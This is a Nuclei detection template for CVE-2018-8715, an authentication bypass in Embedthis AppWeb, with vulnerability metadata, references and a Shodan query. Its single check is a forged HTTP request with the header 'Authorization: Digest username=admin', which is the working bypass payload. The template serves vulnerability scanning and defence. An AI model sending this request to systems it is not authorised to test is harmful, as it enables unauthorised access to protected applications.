AppWeb - Authentication Bypass

id: CVE-2018-8715

info:
  name: AppWeb - Authentication Bypass
  author: milo2012
  severity: high
  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
  reference:
    - https://github.com/embedthis/appweb/issues/610
    - https://blogs.securiteam.com/index.php/archives/3676
    - https://security.paloaltonetworks.com/CVE-2018-8715
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8715
    - https://github.com/cyberharsh/appweb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-8715
    cwe-id: CWE-287
    epss-score: 0.00927
    epss-percentile: 0.8261
    cpe: cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: embedthis
    product: appweb
    shodan-query: cpe:"cpe:2.3:a:embedthis:appweb"
  tags: cve,cve2018,appweb,auth-bypass,embedthis

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Digest username=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bd663b7b04de0ea4a75d80e8408f1c23c06cd76abfcc8ee02a4a88cbb5fbc1bb02210087cb7563d692efc05acb93bf5ba46ba22a41a4493c29430d79e08c9dce089128:922c64590222798bb761d5b6d8e72950